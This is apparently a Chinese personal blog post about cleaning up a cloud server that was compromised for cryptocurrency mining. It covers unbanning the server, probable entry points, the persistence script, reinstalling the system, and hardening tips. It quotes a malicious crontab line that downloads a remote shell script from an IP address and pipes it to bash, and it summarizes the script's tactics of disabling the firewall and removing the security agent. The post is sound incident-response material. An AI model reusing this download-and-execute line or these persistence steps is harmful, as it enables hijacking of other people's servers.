服务器被黑客攻击,用来挖矿!怎么办?

12,191

这是我参与2022首次更文挑战的第30天,活动详情查看:2022首次更文挑战

跟老表一起学云服务器开发相关文章(如果是第一次阅读该系列文章, 强烈建议先学习下面文章):

先导篇:拥有有一台服务器后,我竟然这么酷?

替代项目:10行代码写一个简历页面!

和不安全访问 Say goodbye,手把手教大家如何给域名申请免费 SSL 证书

Linux里的宝塔,真正的宝塔!详细教程

终于有了一个人人可以访问的网站了

如何用Python发送告警通知到钉钉?

如何用 Python 自动发送微博?

终于“打造”出了一个可以随时随地编程的工

如何打造一个能自动回复的钉钉机器人

用Python搞了个基金查询机器人,还可以拓展!

如何在Linux云服务器安装其他版本Python环境,附实战小程序

哈喽,大家好,我是老表~

昨天下午一个朋友和我说,他的服务器被阿里云监测出来在挖矿,然后阿里云官方把服务器给关停了。

不用急,这个时候最简单的方法是在阿里云里提一个工单,反馈相关问题。

解禁服务器

要解决问题、排查删除挖矿程序,首先我们需要解禁服务器,登录阿里云官方平台后,依次点击 控制台-> 个人头像 -> 安全管控进入相关页面。

在处罚列表,我们可以看到相关处罚记录,点击解除封禁后即可正常进入服务器了。

会有提示,需要在解禁后三日内找到挖矿程序,并删除,否则官方会再次封禁服务器,而且无法再次进行解封(差不多意思就是,这个服务器就废了!直接被官方回收)

问题排查

“黑客”是怎么登录控制我的服务器的?

我们首先可以看阿里云提供的漏洞管理监测,发现确实有一个漏洞,提示:Redis 未授权弱口令

我网络上查了,确实可以通过Redis向系统注入本地公钥到服务器的/root/.ssh/authorized_keys中,然后“黑客”就可以在本地免密登录你的服务器了。。。

所以,如果你的服务器上安装了redis的话,可以首先考虑这个问题,引起这个问题的主要原因一般有:

  • Redis设置了可远程登录(公网访问)
  • Redis没有设置密码或者密码很简单

所以不是业务需求的话,不要开放redis远程登录,另外设置一个较为复杂的、不会在网络出现的密码,开放端口也可以改下,另外还有一个点就是不要用root用户启动redis,这样即使远程连接上redis,也无法去修改root下权限了~

具体相关介绍可以看这篇文章:blog.csdn.net/fdl123456/a…

上面了了可能是redis弱命令导致了“黑客”有机会登录我们的服务器,但我看了,我朋友的服务器上并没有安装redis(也不知道为啥阿里云会检测出这个漏洞)。。。

那我继续找问题,首先需要登录服务器,问登录密码的时候发现,登录密码在(阿里云客服)工单里?有点懵哈哈哈哈。。。

原来我这个朋友,之前因为自己改登录密码后没法远程连接,所以提工单找过客服帮忙改远程连接密码,而客服设置的密码应该算比较常见Aliyun2021@zSS。。。到目前,个人感觉应该是远程连接密码被破解/泄漏,导致的挖矿程序侵入。(欢迎大家指正哈)

找到挖矿程序

一般来说,挖矿程序要想一直运行,那么必然会设置一些定时任务,在linux下一般用cron进行设置,其中用户可以使用crontab来设置定时任务。

首先我们可以输入crontab -e编辑root用户的crontab文件内容,看看是否有定时任务;

crontab -e

(默认是使用vim编辑器,如果要退出编辑模式,可以先按ESC,再输入:qw 回车即可退出,Linux相关操作具体可以看拥有有一台服务器后,我竟然这么酷?)进入文件编辑,虽然指令不怎么能看懂,但是看到了一个网址、一个ip地址,首先非常确定这个ip不是我目前登录的这个服务器的,而且看整理链接,应该是下载了一个a.sh文件,有点矿味了~

*/30 * * * * /bin/cdz -fsSL http://104.192.82.138/sxxxxx5/a/a.sh | bash > /dev/null 2>&1

我退出后,他还显示我没有修改权限?他奶奶的~可以使用ls -l /tmp/crontab.LQJ6aT查看文件权限所属人,当然可以直接用sudo指令强制修改或者删除。

我们可以查了下这个IP地址基本信息,可以看到,是一个美国的ip~那就八九不离十了,就是个挖矿的!!!

那我们就继续来研究下前面找到的crontab问题,首先进入到/tmp目录下,查看所有crontab相关文件内容~

发现有的有,有的没有,我们直接使用rm -rf 文件名删除所有相关文件:

sudo rm -rf crontab.*

我以为应该这样就好了,再次运行crontab -e,发现会生成新的crontab.*文件,而且自动有挖矿的内容~离谱!!!

思前想后,可能是crontab配置的问题,输入下面指令看看相关配置文件~果不其然,

cat /etc/crontab

这是朋友服务器

虽然还是不能完全看懂命令含义,但是看到这个newinit.sh就知道没好事,

于是在自己云服务器上看了看,果然不同。

正常的

从网络上crontab相关教程也可以看出,我自己的是正常的~

那是不是修改下crontab配置文件就可以了呢?

简单分析挖矿程序

我们得来看看这个shit的挖矿脚本!!!从配置文件可以看出这个脚本在/etc/newinit.sh,我们直接使用nano来查看这个文件内容,

nano /etc/newinit.sh

可以看到这个脚本一共有125行代码~其他看不懂,这个函数名看懂了kill主进程~

接下来我们来一起看看,他这个脚本都做了些什么(老表我对linux相关操作并不熟悉,所以以下关于脚本文件的简单分析难免会有不正确或者错误的地方,敬请大家批评指正,但不可恶意攻击~):

part one

  • 设置ulimit,修改了两个目录chattr的权限,而chattr可用于修改Linux文件系统上的文件属性,这样就是为什么之前即使在root用户下也会显示无法修改文件的原因。

  • 关闭iptables和ufw防火墙、nmi(不可屏蔽的中断)看门狗,修改文件目录权限为只可追加、删除tmp、var文件夹中某些文件

part two

  • 这里比较简单,设置了一些文件路径,然后进行一些乱七八糟的mv操作,相当于文件重命名了~

part three

  • 大制作了,卸载阿里云相关的安全防护,阿里云安骑士aegis。

part four

  • 挖矿程序配置,这个zzh是一个可执行程序,估计就是挖矿程序,newinit.sh就是现在正在简单分享的挖矿程序脚本,也就是即使我把本地的脚本文件删除了,如果这里没删除,他又会从他自己的服务器上下载。

part five

  • 这里不太理解,大概在判断程序指令是否正常?如果不正常就修改文件权限?有了解的可以补充下哈~

finally

  • 感觉是一个函数,有{却没有},看函数意思是删除主程序进程,
  • netstat -anp 显示各种网络相关信息,
  • grep进行ip或者端口查找,定位到行,
  • awk按指定设置输出对应文本,比如awk '{print $7}' 按空格/tab为界限输出文本中的第七项内容,
  • |是管道命令,作用是将左侧命令执行结果作为参数传递给右侧命令执行(需要经过xargs转换),
  • xargs可以将管道命令的左侧执行结果转换成命令行参数,传递给右侧命令执行

最后,我又看了下part four中提到的挖矿程序配置里的链接,不看不知道,一看吓一跳,原来这个有996行代码(是在暗示什么吗!!!)

修改了很多系统配置~如果服务器里要是有什么重要的东西,或者之前配过什么很麻烦的环境,要修改还是挺麻烦了!

清理挖矿程序

最简单的方法就是直接重置系统,我这里也选择的这种方法,因为这个朋友服务器里没啥要备份的。

如前面所说,如果有很多重要东西和难配置的环境,你不想花时间备份和再配置一变,你可以选择根据挖矿脚本程序去一个个修复他对系统的修改。。。看着996行代码就觉得心累!

重置系统的话就相对会简单很多,进入到阿里云控制台,然后找到对应实例,先停止服务器,然后点击更多 -> 云盘和镜像 -> 更换操作系统

会有一个更换提醒,建议仔细看一遍。

更换操作系统可以选择和之前一样的配置,或者其他配置,然后点击确认订单即可。

更换成功后,会自动启动服务器,我们可以点击管理控制台,然后尝试远程登录下。

这里相关操作和设置和我们之前分享的拥有有一台服务器后,我竟然这么酷?中的介绍基本一致,通过下图,我们可以看到crontab配置是正常的了。

最后我们可以过一段时间后看看cpu使用情况,可以看到之前基本都是100%使用率,重置系统后,使用率变成了2.6%左右。

服务器安全防范建议

首先防范的前提是不影响我们使用,甚至所有操作应该是方便我们使用的。

1、目前我还是推荐初次接触或者对云服务器不熟的读者朋友使用宝塔面板来登录、操作服务器内容,具体功能和使用方法,大家可以看我之前的分享Linux里的宝塔,真正的宝塔!详细教程

2、所有安装的应用服务,尽量不要使用默认端口号,有密码的设置密码,不要嫌麻烦,可以是用1password.com这个网站生成随机密码,我之前也分享过一个脚本~

import string
import random
while True:
    try:
        password_len = int(input('请输入密码长度(只能是数字):'))
        password = ''.join(random.choices(string.printable.strip(), k=password_len))
        print(f'你的新密码为:{password},请保存好~')
    except Exception as e:
        print(f'【出错啦】看看是不是输入错误吧,可能是输入了非数字内容,错误信息:{e}')
    print('*** 想结束就输入0吧!!!***')
    print('*** 回车继续生成新密码 ***')
    flag = input('是否继续生成新密码:')
    if flag == '0':
        break
    print('******************************************')

3、系统自带的防火墙、安全防护都不要关闭~

其他的方法,欢迎大家补充~今天就到这里啦!

坚持 and 努力 : 终有所获。

点赞 在看 留言 转发 ,四连支持。好的,那么下期见,我是爱猫爱技术,更爱思思的老表⁽⁽ଘ( ˙꒳˙ )ଓ⁾⁾